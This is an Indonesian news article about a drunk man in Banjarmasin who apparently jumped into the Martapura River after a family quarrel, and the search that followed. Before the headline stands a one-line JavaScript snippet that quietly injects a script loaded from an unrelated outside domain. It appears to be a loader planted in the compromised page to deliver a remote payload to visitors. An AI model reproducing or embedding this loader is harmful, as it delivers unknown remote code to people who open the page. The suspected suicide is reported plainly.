(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Cekcok dengan Kerabat, Lelaki di Pasar Lima Banjarmasin Diduga Ceburkan Diri ke Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Seorang warga dilaporkan menceburkan diri di Sungai Martapura, dekat Pelabuhan Bim atau Pasar Lima RT 5, Kelurahan Kertak Baru Ilir, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, Jum’at (20/1/2023) siang.

Peristiwa ini diketahui dialami oleh seorang lelaki bernama ZA alias Bidin (38) yang diketahui tidak bisa berenang, namun nekat menceburkan diri usai cekcok dengan anggota keluarganya.

Kejadian itu dilaporkan relawan emergency gabungan Ketua RT setempat yang telah melakukan penyisiran sejak sekitar pukul 13.00 Wita.

“Kejadian aslinya sekitar jam 01.00 malam, jadi tidak baru saja. Kita lakukan penyisiran di dua titik yakni di pinggir sungai atau di tengah ujung siring aliran air. Jika posisinya korban bercebur ke tengah dirinya tidak bisa berenang, tapi kalau di pinggir bisa saja masih disisir,” ungkap Ahmad Kelana, relawan emergency Banjarmasin.

Dari informasi awal, diketahui sejumlah relawan kebingungan apakah benar positif atas kejadian ini, lantaran pihak keluarga maupun kepolisian belum ada yang melaporkan kejadian secara jelas.

Namun, akhirnya melalui keterangan saksi hingga Ketua RT setempat, didapati sejumlah keterangan yang menyebut ZA menceburkan diri ke sungai.

Relawan pencarian, Ahmad Kelana menjelaskan kejadian justru bermula pada dini hari sekitar pukul 01.00 dini hari, ZA datang ke rumah kerabatnya dalam keadaan mabuk.

“Tadi malam ZA masuk ke dalam rumah kakaknya, dalam keadaan mabuk, tidak berapa lama keluar lagi dengan tidak menggunakan baju, sambil bersuara dan didengar oleh tetangga,” jelasnya.

Tak selang berapa lama, ZA keluar dalam keadaan marah dan mengatakan “jangan dicari lagi aku Yan….ay”. Suara itu pun sontak terdengar oleh tetangga yang akhirnya mereka menduga ZA tengah terlibat permasalahan keluarga di rumah kerabatnya.

Sementara itu di rumah kerabat ZA yang berada persis di depan sungai itu pun sempat terdengar suara orang masuk ke dalam air.

Kerabatnya bersama warga menduga lelaki itu menceburkan diri ke sungai lantaran tidak kembali hingga siang harinya.

“Sampai saat ini belum di ketahui keberadaan korban, dan masih jadi tanda tanya,” tuntas Ahmad.

Hingga saat ini diketahui sejumlah Relawan SAR seperti Polairud Polda Kalsel dan Basarnas Banjarmasin turut membantu mengerahkan personil melakukan penyisiran di sekitar kawasan yang disebut sebagai titik ZA menceburkan diri. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie